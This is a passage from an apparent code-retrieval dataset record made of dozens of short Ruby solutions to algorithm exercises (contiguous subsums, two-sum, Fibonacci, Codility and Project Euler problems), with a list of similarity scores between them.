largest_cont_subsum_fast(list)\n # for constant size to be true, you cant create any variables\n # whose memory size depends on the size of the input\n curr_sum = list[0]\n largest_sum = list[0]\n\n # we know there are n^2 potential, so if we ever check all of them\n # it must be n^2\n\n # there must be a way to find the max without checking every subarray\n list[1..-1].each do |ele|\n # debugger\n if curr_sum > largest_sum\n largest_sum = curr_sum\n end\n\n if curr_sum < 0\n curr_sum = 0\n end\n\n curr_sum += ele\n\n end\n\n # debugger\n return [largest_sum, curr_sum].max\n\nend", "def solution(a)\n # write your code in Ruby 2.2\n \n is_perm = 0\n \n n = a.length\n b = [0]*n\n \n \n a.each do |v|\n break if v > n \n break if b[v] == 1 \n b[v] = 1\n end\n \n sum = b.inject(:+)\n if sum == n\n is_perm = 1\n end\n \n is_perm\nend", "def solution(a)\n accessed = Array.new(a.size + 1, nil)\n caterpillar_back = 0\n count = 0\n\n a.each_with_index do |x, caterpillar_front|\n if accessed[x] == nil\n accessed[x] = caterpillar_front\n else\n new_caterpillar_back = accessed[x] + 1\n first_part_size = caterpillar_front - caterpillar_back\n second_part_size = caterpillar_front - new_caterpillar_back\n count += first_part_size * (first_part_size + 1) / 2\n count -= (second_part_size) * (second_part_size + 1) / 2\n caterpillar_back.upto(new_caterpillar_back - 1) { |n| accessed[a[n]] = nil}\n accessed[x] = caterpillar_front\n caterpillar_back = new_caterpillar_back\n end\n end\n\n remaining_size = a.size - caterpillar_back\n count += (remaining_size) * (remaining_size + 1) / 2\n end", "def is_abundant?(n)\n return false if n<2\n\n s = 1\n 2.upto(Math.sqrt(n).to_i) do |i|\n if ((n % i) == 0 )\n s += i\n s += (n/i) unless (n/i == i)\n\n return true if s > n\n end\n end\n return false\nend", "def better_subsum(arr) # o(n)\n largest = 0 \n sum = 0 \n i = 0 \n j = 0\n\n while i != arr.length-1\n largest += arr[j]\n sum = largest if largest > sum \n if j == arr.length-1 \n i+=1 \n j = i \n largest = 0 \n else\n j+=1\n end \n end \n sum \n end", "def findDiffSquares(n)\n sum = 0\n (1..n).each { |i|\n (1..n).each { |j|\n sum += i*j unless i == j\n }\n }\n sum\nend", "def largest_contiguous_subsum_1(list) \n subs = [] #O(1)\n (0...list.length).each do |start_num| #O(n)\n (start_num...list.length).each do |end_num| #O(n)\n subs << list[start_num..end_num] #O(n)\n end\n end\n subs_sum = [] #O(1)\n subs.each do |sub| #O(n**2)\n sub_sum = 0 #O(1)\n sub.each {|s| sub_sum += s} #O(n)\n subs_sum << sub_sum #O(1)\n end\n subs_sum.inject do |acc,el| #O(n)\n if acc > el #O(1)\n acc #O(1)\n else\n el #O(1)\n end\n end\n end", "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "def pairSumSequence(n)\n sum = 0\n\n for i in 0..n\n # pairSum calls do not exist simultabeously on\n # the call stack, so you only need O(1) space\n sum += pairSum(i, i + 1)\n puts \"sum += (#{i + i + 1}) #{i} + #{i} + 1 \"\n end\n\n return sum\nend", "def sturges\n len = array.length\n return 1.0 if len == 0\n\n # return (long)(ceil(Math.log2(n)) + 1);\n return Math.log2(len).ceil + 1\n end", "def largest_contiguous_sub_sum2(arr)\n #one varable tracks largest sum\n #one variable tracks current sum\n #O(n) + O(1)\n # list = [2, 3, -6, 7, -6, 7]\n\n # largest_sum= arr.first\n\n # i = 0\n # arr_end = true\n\n # while arr_end\n # current_sum = arr[i]\n # if arr[i+1] == nil\n # arr_end = false\n # puts \"This is current sum: #{current_sum}\"\n # else\n # if current_sum > largest_sum\n # current_sum += arr[i+1]\n # largest_sum = current_sum\n # end\n # end\n # if i < arr.length\n # arr_end = true\n # i += 1\n # end\n # end\n # largest_sum\n \n\n\n # arr.each_with_index do |ele, idx|\n # if ele > largest_sum\n # largest_sum = ele\n # end\n\n # i = idx\n # sum = ele\n # while i < arr.length - 1\n # if sum <= sum + arr[i+1]\n # largest_sum = sum + arr[i+1]\n # end\n # sum = sum + arr[i+1]\n # i+=1\n # end\n # end\n # largest_sum\n\nend", "def solution(n, a)\n counters = Array.new(n, 0)\n max = 0\n a.each do |item|\n if item >= 1 && item <= n\n counters[item - 1] += 1\n max = counters[item - 1] if counters[item - 1] > max\n elsif item == n + 1\n counters = Array.new(n, max)\n end\n end\n\n counters\nend", "def three_sum_fast(arr)\n arr = merge_sort(arr)\n count = 0\n\n (0..arr.length - 1).each { |i|\n (i + 1..arr.length - 1).each { |j|\n if bin_search(arr, -arr[i] - arr[j]) > j\n count += 1\n end\n }\n }\n count\nend", "def euler29(n)\n terms = []\n 2.upto(n) do |i|\n 2.upto(n) do |j|\n if terms.include?(i ** j) == false\n terms << i ** j\n end\n end\n end\n \n terms.length\nend", "def largest_contiguous_subsum_fast(list)\n start = Time.now\n max_sum = list[0]\n cur_sum = list[0]\n list[1..-1].each do |el|\n if el >= cur_sum && cur_sum < 0\n cur_sum = el\n else\n cur_sum += el\n end\n max_sum = cur_sum if cur_sum > max_sum\n end\n finish = Time.now\n puts \"Runtime: #{finish - start}\"\n return max_sum\nend", "def solve( n = 1_000_000 )\n sum = limit = 0\n \n while sum < n\n limit += 1\n limit2 = limit * limit\n \n 2.upto( limit << 1 ) do |bc|\n d = Math.sqrt( limit2 + bc*bc )\n sum += (bc > limit ? 1 + limit - (1 + bc)/2 : bc/2) if d.to_i == d\n end\n end\n\n limit\n end", "def abundance\n\tbeginning = Time.now\n\t# stores all abundant number\n\tabundance_array = []\n\t# stores all combinations of two abundant number sums\n\tabundance_sum_array = []\n\t# stores all integers that cannot be calculated by sum of two abundant numbers\n\tnon_abundance_array = []\n\n\t# loop to find all abundant numbers and push into an array\n\tx = 1\n\twhile x <= 28123\n\t\ty = 1\n\t\ttotal = 0\n\t\twhile y < x\n\t\t\tif x%y == 0\n\t\t\t\ttotal = total + y\n\t\t\tend\n\t\t\ty+=1\n\t\tend\n\t\tif total > x\n\t\t\tabundance_array << x\n\t\tend\n\t\tx+=1\n\tend\n\tp abundance_array.count\n\n\t# loop to find all abudant number sums\n\tnumber = 0\n\twhile number < abundance_array.count\n\t\tabundance_array.each do |x|\n\t\t\tsum = abundance_array[number] + x\n\t\t\tif abundance_array[number] != x\n\t\t\t\tabundance_sum_array << sum\n\t\t\tend\n\t\tend\n\t\tnumber+=1\n\tend\n\tputs \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n\tputs 6965*6964\n\tp abundance_sum_array.count \n\n\t# loop to find all numbers that cannot be found by adding 2 abundant numbers together\n\tx = 1\n\twhile x <= 28123\n\t\tif !abundance_sum_array.include?(x)\n\t\t\tnon_abundance_array << x\n\t\tend\n\t\tp x\n\t\tx+=1\n\tend\n\n\tputs \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n\tp non_abundance_array.count\n\n\tfinal_total = 0\n\tnon_abundance_array.each do |x|\n\t\ttotal = total + x\n\tend\n\tputs \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n\tputs \"The answer is: #{final_total}!\"\n\tputs \"This algorithm took #{Time.now-beginning} seconds to run\"\nend", "def isAbundant(n)\n return getDivSums(n) > n\nend", "def solve( n = 10_000 )\n (1..n).select {|i| i.amicable?}.reduce( :+ )\n end", "def canBeSum(n, array, cache)\n\ti = 0\n\twhile array[i] <= n / 2\n\t\tif cache[n-array[i]] # array.include?(n-array[i]) is OK, but very slow\n\t\t\treturn true\n\t\tend\n\n\t\ti += 1\n\tend\n\n\treturn false\nend", "def largest_contiguous_subsum1(list)\n p Time.now\n sub_arrays = []\n list.each_index do |i|\n list.each_index do |j|\n next if j < i\n sub_arrays << list[i..j]\n end\n end\n sub_arrays.map{|numbers| numbers.inject(:+)}.max\n p Time.now\nend", "def solution(a)\n len = a.size\n unique = {}\n i = 0\n while i < len\n item = a[i]\n if unique.has_key?(item)\n unique[item] += 1\n else\n unique[item] = 1\n end\n i += 1\n end\n pairs = 0\n unique.each do |key,count|\n (1...count).step {|n| pairs += n }\n end\n return pairs > 1_000_000_000 ? 1_000_000_000 : pairs\nend", "def solution(n, a)\n # write your code in Ruby 2.2\n arr = [0] * n\n max_c = 0\n \n a.each_with_index do |value,index|\n if value == n + 1\n arr = [max_c] * n\n else\n arr[value - 1] = arr[value - 1] + 1\n max_c = (arr[value -1] > max_c ? arr[value -1] : max_c)\n end\n end\n arr\nend", "def f(n, x)\n # $count += 1\n if n == 0\n x <= 0 ? 0 : 1\n elsif x <= 1\n 0\n elsif 1 < x && x <= 1 + $a[n - 1]\n f(n - 1, x - 1)\n elsif x == 2 + $a[n - 1]\n $p[n - 1] + 1\n elsif 2 + ($a[n - 1]) < x && x <= 2 + 2 * $a[n - 1]\n $p[n - 1] + 1 + f(n - 1, x - 2 - $a[n - 1])\n else\n 2 * $p[n - 1] + 1\n end\nend", "def sorted_squared_array_n_nlogn(values)\n values.collect!{|val| val*val}\n merge_sort(values)\nend", "def solve( n = 10_000_000 )\n sum = Array.new( n, 0 )\n limit, scale = 1, Math.log( n, 10 ).round - 1\n\n # Precompute single digits.\n (0...10).each {|i| sum[i] = i*i}\n\n # Use previously computed values to speed calculation.\n scale.times do\n limit *= 10\n (limit...10*limit).each do |i|\n j = i\n while 0 < j\n j, r = j / limit, j % limit\n sum[i] += sum[r]\n end\n end\n end\n\n # Cycle each slot until it reaches a terminal value.\n 1.upto( n - 1 ) do |i|\n until 1 == sum[i] || 89 == sum[i]\n sum[i] = sum[sum[i]]\n end\n end \n\n # Count may be computed directly from total sum.\n (sum.inject( :+ ) - n + 1) / 88\n end", "def solution(n)\n # write your code in Ruby 2.2\n a = Math.sqrt(n).floor\n a -= 1 while n % a != 0\n b = n / a\n (a + b) * 2\nend", "def fib_method(n)\r\n\tfib_array = []\r\n\ti = 0\r\n\t\twhile i < n do\r\n\t\t\tif i == 0 || i == 1\r\n\t\t\tfib_array.push(i)\r\n\t\t\telse\r\n\t\t\tfib_array.push(fib_array[i-2] + fib_array[i-1])\r\n\t\t end\r\n\t\ti +=1 \r\n\tend \r\n\tfib_array\r\nend", "def large_contig_subsum2(arr)\n timestart = Time.now\n max_sum = 0\n curr_sum = 0\n i = 0\n while i < arr.length\n if arr[i] + curr_sum > 0\n curr_sum += arr[i]\n max_sum = curr_sum if curr_sum > max_sum\n else\n curr_sum = 0\n end\n i += 1\n end\n\n p (Time.now - timestart) * 1000\n max_sum\nend", "def solution(n)\n x = (n**0.5).floor\n (1..x).reduce(0) { |s, i| n % i == 0 ? s += (i * i == n ? 1 : 2) : s }\nend", "def okay_two_sum?(arr, target)\r\n arr = arr.sort #n log n\r\n i, j = 0, arr.length - 1 #2\r\n\r\n while j > i #n\r\n curr_sum = arr[i] + arr[j]\r\n if curr_sum > target\r\n j -= 1\r\n elsif curr_sum < target\r\n i += 1\r\n else\r\n return true\r\n end\r\n end\r\n false\r\nend", "def r(p,n,a,s)\n j = p[a-1] - s - 1\n v = 0\n i = 0\n for i in 0..(j-1) do\n v += b(i) * b(n-i-1)\n end\n v +\n (j <= 1 ? 0 : b(n-j-1) * (r(p,j,a+1,s) - 1)) +\n (n-j-1 <= 1 ? 1 : r(p,n-j-1,a+j+1,s+j+1))\n end", "def solution(a)\n return 0 if a.uniq.size != a.size\n \n max = a.size \n sum = (1 + max) * max / 2\n \n array_sum = a.inject(0, &:+) \n sum == array_sum ? 1 : 0 \nend", "def pythagoreans (n)\n triples = []\n a = 1\n b = 1\n c = 1\n\n for c in (1..n)\n for b in (1..c)\n for a in (1..b)\n if a**2 + b**2 == c**2\n triples << [a,b,c]\n end\n end\n end\n end\n\n return triples.sort\nend", "def efficient_contiguous_subsum(list)\n current_sum = list[0] #0\n largest_sum = list[0] #5\n # debugger\n (1...list.length).each do |i| \n if current_sum + list[i] > 0 \n current_sum += list[i] \n largest_sum = current_sum if current_sum > largest_sum\n else \n current_sum = 0\n end \n end \n largest_sum\nend", "def bad_two_sum?(arr, target)\n arr.each_with_index do |num1, idx1| #O(n)\n arr.each_with_index do |num2, idx2| #O(n)\n return true if idx2 > idx1 && num1 + num2 == target #O(1)\n end\n end\n false\nend", "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend", "def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend", "def arrayManipulation(n, queries)\n arr = Array.new(n + 2, 0)\n\n queries.each do |a, b, k|\n arr[a] += k\n arr[b + 1] -= k\n end\n\n max_sum = 0\n sum = 0\n arr.filter { |diff| diff != 0 }.each do |diff|\n sum += diff\n max_sum = [max_sum, sum].max\n end\n\n max_sum\nend", "def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def fib(n)\n arr = []\n for i in 0..n do\n if i == 0\n arr.push(0)\n elsif i == 1\n arr.push(1)\n else\n arr.push(arr[i-1] + arr[i-2])\n end\n end\n return arr.last.to_s.size\nend", "def okay_two_sum?(arr, target_sum) #bsearch = log n => n * log n\n sorted_arr = arr.sort #.sort => n * log n\n sorted_arr.each_index do |i|\n j = sorted_arr.bsearch_index { |n| n + sorted_arr[i] == target_sum }\n return true if !j.nil? && j != i\n end\n false\nend", "def two_sum?(arr, target_sum) # O(N)\n hash = Hash.new(0)\n count = Hash.new(0)\n\n arr.each do |num|\n hash[num] = target_sum - num\n count[num] += 1\n end\n\n hash.each do |key, value|\n if hash.has_key?(value) \n if key == value \n if count[value] > 1\n return true\n end\n else\n return true\n end\n end\n end\n\n false\nend", "def fibonacci(n) # O(n) O(n)\n raise ArgumentError if n < 0\n return fib_helper([0, 1], 2, n)\nend", "def solution(n, a)\n max = 0\n counters = Array.new(n, max)\n a.each do |counter|\n if counter == n + 1\n counters.fill(max)\n else\n counters[counter - 1] += 1\n max = counters[counter - 1] if counters[counter - 1] > max\n end\n end\n counters\nend", "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend", "def pythagoreans (n)\r\n pythagoreans = Array.new\r\n for i in 1..n\r\n for h in 1..i\r\n sum = Math.sqrt(i**2+h**2)\r\n if sum%1 == 0 && sum <= n\r\n temp = [i,h,sum.round]\r\n temp.sort!\r\n pythagoreans.push(temp)\r\n end\r\n end\r\n end\r\n pythagoreans.sort!\r\n return pythagoreans\r\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "def sum_to_n? arr, n\n #arr.product(arr).any? {|c| sum(c) == n && c[0] != c[1] } ----1.3\n arr = arr.sort\n low = 0\n high = arr.length - 1\n while low < high\n if arr[low] + arr[high] == n\n return true\n end\n arr[low] + arr[high] < n ? low += 1 : high -= 1 \n end\n return false\nend", "def make_better_change(amount, coin_denoms)\n return [amount] if coin_denoms.include?(amount)\n return [] if amount <= 0\n\n coin_denoms.sort.reverse!\n all_possible_arr = []\n\n coin_denoms.each do |value|\n change_arr = []\n change_arr << value\n change_arr.concat(make_better_change(amount - value, coin_denoms))\n all_possible_arr << change_arr if change_arr.inject(:+) == amount\n end\n\n all_possible_arr.min_by { |arr| arr.length }\n\nend", "def largest_contiguous_subsum(list)\n new_arr = []\n\n (0...list.length).each do |idx1| #O(n)\n (0...list.length).each do |idx2| #O(n)\n if idx2 >= idx1 #O(1)\n new_arr << list[idx1..idx2].sum #O(1)\n end \n end \n \n end \n \n return new_arr.max #O(n)\nend", "def candies(n, arr)\n cc = []\n cc[0] = 1\n 1.upto(n-1) do |i|\n if arr[i] > arr[i-1]\n cc[i] = cc[i-1] + 1\n else\n cc[i] = 1\n end\n end\n p cc\n (n-2).downto(0) do |i|\n if arr[i] > arr[i+1] && cc[i] <= cc[i+1]\n cc[i] = cc[i+1] + 1\n end\n end\n p cc\n cc.reduce(:+)\nend", "def amicable_numbers(n)\r\n numbers = Array.new\r\n 2.upto(n) do |x|\r\n y = d(x)\r\n if !numbers.include?(y)\r\n numbers.push(x,y) if d(y) == x && y != x\r\n end\r\n end\r\n return numbers\r\nend", "def ideal_numbers(n)\n # perfects = []\n # factors = proper_factors(n)\n\n # while perfects.length <= n \n # factors.each do |factor|\n # sum = aliquot_sum(n)\n \n # if factor == perfect_number?(factor)\n # perfects << factor\n # end \n # end \n # end\n\n perfect_nums = []\n\n i = 1\n while perfect_nums.length < n \n perfect_nums << i if perfect_number?(i)\n i += 1\n end \n\n perfect_nums\nend", "def solution(a)\n min_val = 10_000\n min_pos = 0\n \n sums = [0]\n for i in (0..a.count - 1) \n sums << sums.last + a[i] \n end\n for p in (0..a.count - 2)\n for q in (p + 1..[p + 2, a.count - 1].min)\n s = (sums[q + 1] - sums[p]).to_f / (q - p + 1)\n if s < min_val\n min_val = s\n min_pos = p\n end\n end\n end\n min_pos\nend", "def solution(a)\n # we could do radix sort and then loop over all the items in order to find the missing element\n # in the ordered list or use the Gauss theorem: https://study.com/academy/lesson/finding-the-sum-of-consecutive-numbers.html\n #\n # if we use the Gauss theorem we can do:\n # sum = (1 + N+1) * ( N / 2 )\n #\n # if (1 + N+1) % 2 == 1 we need to sum also (n+1+1)/2 + 1\n #\n # then remove every item from the sum: the remainder is the missing number\n len = a.length\n sum = (1 + len + 1) * ((len + 1) / 2)\n sum += ((len + 1) / 2.0).ceil unless (len + 1) % 2 == 0\n\n a.reduce(sum) do |sum, i|\n sum - i\n end\nend", "def fibo_finder(n)\n\tfib = [0,1]\n\t(n+1).times do |i| \t\n \t\tfib << fib[i-1] + fib[i-2] unless i == 0 || i == 1 \t\n\tend\n\tfib[n]\nend", "def nth_ugly_number(n, a, b, c)\n# a-b, a-c, b-c, ab-c\n ab_lcm = a.lcm(b) # there are some a present in b\n ac_lcm = a.lcm(c) # there are some a present in c\n bc_lcm = b.lcm(c) # there are some b present in c\n abc_lcm = ab_lcm.lcm(c) # there are some a*b in c (because c is the biggest)\n \n # using set theory for binary search\n # a + b + c - ab_lcm - ac_lcm - bc_lcm + abc_lcm\n (1..2*10**9).bsearch{|x| x/a + x/b + x/c - x/ab_lcm - x/ac_lcm - x/bc_lcm + x/abc_lcm >= n}\nend", "def okay_two_sum?(arr, target_sum) # worst case O(N^2), average case O(n log n)\n sorted = arr.sort\n\n arr2 = []\n sorted.each do |num|\n arr2 << target_sum - num\n end\n\n arr2.each_with_index do |num, i| # O(n log n)\n result = sorted.bsearch { |x| x == num }\n if sorted.index(num) == i\n next\n end\n return true if result\n end\n\n false\nend", "def running_time(array)\n cnt = 0\n (1...(array.length)).each do |x|\n y = x\n while y.positive?\n break unless array[y - 1] > array[y]\n\n temp_num = array[y]\n array[y] = array[y - 1]\n array[y - 1] = temp_num\n cnt += 1\n y -= 1\n end\n end\n cnt\nend", "def fibonacci(n)\n # Computes the nth fibonacci number in the series starting with 0.\n # fibonacci series: 0 1 1 2 3 5 8 13 21 ...\n # e.g. 0th fibonacci number is 0\n # e.g. 1st fibonacci number is 1\n # ....\n # e.g. 6th fibonacci number is 8\n\n\n # 0 1 1 2 3 5 8 13 21 34 55 89 144\n\n # time complexity is On: linear we have to look through the length of the string on integers.\n # space complexity is 01: constant, no matter how long the string is, we need the same amount of variable space for every instance\n\n def fibonacci(n)\n if n == 1 || n == 0\n return n\n elsif n == nil || n < 0\n raise ArgumentError.new\n else\n start = 0\n second_num = 1\n fib = 1\n\n while n > 2\n\n start = second_num\n second_num = fib\n fib = start + second_num\n\n n -= 1\n\n end\n return fib\n end\n\n end\nend", "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend", "def corgi_golden_age(arr)\n\tmax_subset_sum = 0\n\tmax_i = 0\n\tmax_j = 0\n\tsum = 0\n\ti = 0\n\tj=i+1\n\twhile i < arr.length\n\t\twhile j < arr.length\n\t\t\tsum = arr[i]+arr[j]\n\t\t\tif sum > max_subset_sum\n\t\t\t\tmax_subset_sum = sum\n\t\t\t\tmax_i = i\n\t\t\t\tmax_j = j\n\t\t\tend\n\t\t\tj+=1\n\t\tend\n\t\ti+=1\n\tend\n\treturn [max_i, max_j]\n\nend", "def fast_lcss(arr)\n i_arr = []\n biggest = 0\n max_sub_arr = []\n arr.length.times do |x|\n arr.map do |ele1|\n i_arr += [ele1]\n sum = i_arr.inject(0) do |a, b|\n a + b\n end\n max_sub_arr = i_arr if sum > biggest\n biggest = sum if sum > biggest \n end\n i_arr = []\n arr.shift\n end\n max_sub_arr\nend", "def problem_60a\n num_cut = 5\n# simple\n pairs = {}\n seen_primes = []\n num_primes = 0\n last = start = Time.now\n Primes.each do |p|\n next if p == 2\n b = p.to_s\n seen_primes.each_index do |sp_i|\n sp = seen_primes[sp_i]\n a = sp.to_s\n ai,bi = a.to_i,b.to_i\n ab = (a + b).to_i\n ba = (b + a).to_i\n\n if ba.prime? && ab.prime?\n # We have a pair that works both ways so add the peer to each prime\n pairs[ai] = aa = ((pairs[ai] || []) << bi).uniq\n pairs[bi] = bb = ((pairs[bi] || []) << ai).uniq\n next unless pairs[bi].length >= num_cut - 1 # bi is biggest of pair\n\n check = ([ai] + aa) & ([bi] + bb)\n if check.length >= num_cut\n puts \"Try #{check.inspect}\"\n perm = check.permutation(2).to_a\n new = perm.select do |x,y|\n (x.to_s + y.to_s).to_i.prime? && (x.to_s + y.to_s).to_i.prime?\n end\n if new.length == perm.length\n n = new.flatten.uniq\n sum = n.reduce(&:+)\n puts \"#{n.inspect} *** #{sum}\"\n return sum\n end\n end\n end\n end\n seen_primes << p\n end\n nil\nend", "def solution(a)\n return 1 if a.count == 0\n \n real_sum = a.inject(:+)\n expected_sum = (a.count + 1) * (a.count + 2) / 2.0\n (expected_sum - real_sum).to_i\nend" ]
[ "0.6689499", "0.66252846", "0.6608882", "0.6536004", "0.6472593", "0.639354", "0.6358543", "0.6353082", "0.6312325", "0.6282437", "0.62745625", "0.61915296", "0.6188141", "0.6153912", "0.615093", "0.61008793", "0.60940546", "0.60786766", "0.60571593", "0.60476863", "0.60280645", "0.6021321", "0.60188466", "0.6010947", "0.6009481", "0.59941924", "0.5993746", "0.5974986", "0.5944717", "0.59445506", "0.59444624", "0.5936131", "0.59288275", "0.5924898", "0.591802", "0.5916059", "0.5915531", "0.59094816", "0.5904651", "0.59019196", "0.58965474", "0.58916765", "0.5886917", "0.5878477", "0.587081", "0.5866799", "0.5863932", "0.58592236", "0.5858626", "0.58575994", "0.5851179", "0.5849277", "0.5834722", "0.58335006", "0.58209443", "0.5819783", "0.58181804", "0.5817019", "0.58090276", "0.5801097", "0.5787596", "0.578572", "0.57853127", "0.57844985", "0.5781872", "0.57757336", "0.5764286", "0.57632464", "0.575636", "0.57488346", "0.5745485", "0.5743009", "0.57392406", "0.5734787", "0.5729141", "0.57271916", "0.5724279", "0.5721475", "0.57211095", "0.5717159", "0.57145983", "0.57133514", "0.5712897", "0.5711053", "0.5709856", "0.5703923", "0.5701497", "0.57004946", "0.5694804", "0.56886756", "0.5687187", "0.56866956", "0.5683047", "0.567652", "0.566761", "0.5661073", "0.56604326", "0.56570137", "0.5654693", "0.5650235", "0.56498253" ]
0.0
-1
Time Complexity: O(n) Space Complexity: O(n)
def inorder return inorder_helper(@root, []) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_dublicate(array)\n sum = 1000000*(1000000+1)/2 # (n*(n+1))/2\n array.each do |el| \n sum -= el\n end\n return sum\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def my_min_2(list)\r\n min = 0 # O(1)\r\n \r\n list.each do |ele| # O(n) \r\n if ele < min # O(1)\r\n min = ele # O(1)\r\n end\r\n end\r\n min # O(1) \r\nend", "def largest_subsum(list)\n max = list[0] # O(1)\n current_sum = list[0] # O(1)\n\n (1...list.length).each do |i| # O(n)\n # debugger\n if current_sum < 0 # O(1)\n current_sum = 0 # O(1)\n end \n current_sum += list[i] # O(1)\n if current_sum > max # O(1)\n max = current_sum # O(1)\n end\n end\n\n max # O(1)\n\nend", "def sorted_squares(nums)\n # This takes O(n)\n nums.map! { |num| num**2 }\n # This can take Ο(n logn)\n bubble_sort(nums)\nend", "def three_sum_fastest(arr)\n count = 0\n\n (0..arr.length - 2).each { |i|\n set = Set.new\n\n (i + 1..arr.length - 1).each { |j|\n if set.include?(-arr[i] - arr[j])\n count += 1\n end\n\n set.add(arr[j])\n }\n }\n count\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def largest_contiguous_subsum_2(list)# [2, 3, -6, 7, -6, 7]\n largest_num = list[0]#2 O(1)\n running_sum = list[0]#2 - 5 after entering loop. O(1)\n\n (1...list.length).each do |i| #O(n) \n running_sum = 0 if running_sum < 0 #O(1)\n running_sum += list[i] #O(1)\n largest_num = running_sum if running_sum > largest_num #O(1)\n end\n return largest_num #O(1)\nend", "def my_min(list) \n\n list.each_with_index do |ele, i| #O(n)\n compare_arr = list[0...i] + list[i+1..-1] # O(2n) \n return ele if compare_arr.all? { |ele2| ele < ele2 } #O(n)\n end\n\n #time complexity = O(n^2) + O(2n)\n\nend", "def solution(a)\n # In production environment this will be my solution:\n # a.uniq.size\n #\n # But since this is a coding challenge, my assumption\n # is that you're looking for a by-hand O(N*logN) solution\n\n return 0 if a.empty?\n\n n = a.size\n ary = a.sort\n uniques = 1\n (1...n).each do |i|\n uniques += 1 if ary[i] != ary[i - 1]\n end\n uniques\nend", "def sub_sum(list)\n sub_arr = []\n (0...list.length).each do |i| #O(n)\n (i...list.length).each do |j| #O(n)\n sub_arr << list[i..j] if i <= j\n end\n end\n largest_continuous_sub_sum1(sub_arr)\nend", "def solution(m, a)\n n = a.count\n result = 0\n front = 0\n numbers = Array.new(m + 1, false)\n n.times { |back|\n while front < n and not numbers[a[front] - 1]\n numbers[a[front] - 1] = true\n front += 1\n result += front - back\n return 1_000_000_000 if result >= 1_000_000_000\n end\n numbers[a[back] - 1] = false\n }\n result\nend", "def my_min_2(arr)\n\n smallest_value = arr[0] # O(1)\n\n arr.each do |ele1| # [ 0, 3, 5, 4, -5, 10, 1, 90 ] O(n)\n smallest_value = ele1 if ele1 <= smallest_value #O(1)\n end\n\n smallest_value #O(1)\n\nend", "def solution(a)\n n = a.size\n a.sort!\n\n count = 0\n for i in 0...n-2 do\n k = i+2\n for j in i+1...n-1 do\n while k < n and a[i] + a[j] > a[k] do\n k += 1\n end\n count += k - j - 1\n end\n end\n count\nend", "def find_duplicate(nums)\n if !nums or nums.size == 0\n return nil\n else\n fast = nums[ 0 ]\n slow = nums[ 0 ]\n while true\n fast = nums[ fast ]\n fast = nums[ fast ]\n slow = nums[ slow ]\n if fast == slow\n new_node = nums[ 0 ]\n while new_node != slow\n new_node = nums[ new_node ]\n slow = nums[ slow ]\n end\n return slow\n end\n end\n end\nend", "def hash_two_sum(arr,target_sum)\n #creates a new hash with each element that is satisfying the target_sum\n hash = Hash.new(0) #{|h,k| h[k] = []}\n (0...arr.length).each { |i| hash[i] = arr[i]} #O(n)\nend", "def find_duplicate_space(nums)\n # sort nums first (lgn), then check for dups by iterate over (n)\n last_seen = 0\n nums.sort!.each do |num|\n return num if last_seen == num\n last_seen = num\n end\nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend", "def two_sum?(array, target)\n #O(n)\n hash = Hash.new(0)\n i = 1\n array.each do |ele|\n hash[ele] = i \n i += 1\n end\n hash.each_key do |k|\n return true if hash.has_key?(target - k) && hash[k] != hash[target - k]\n end\n false \nend", "def 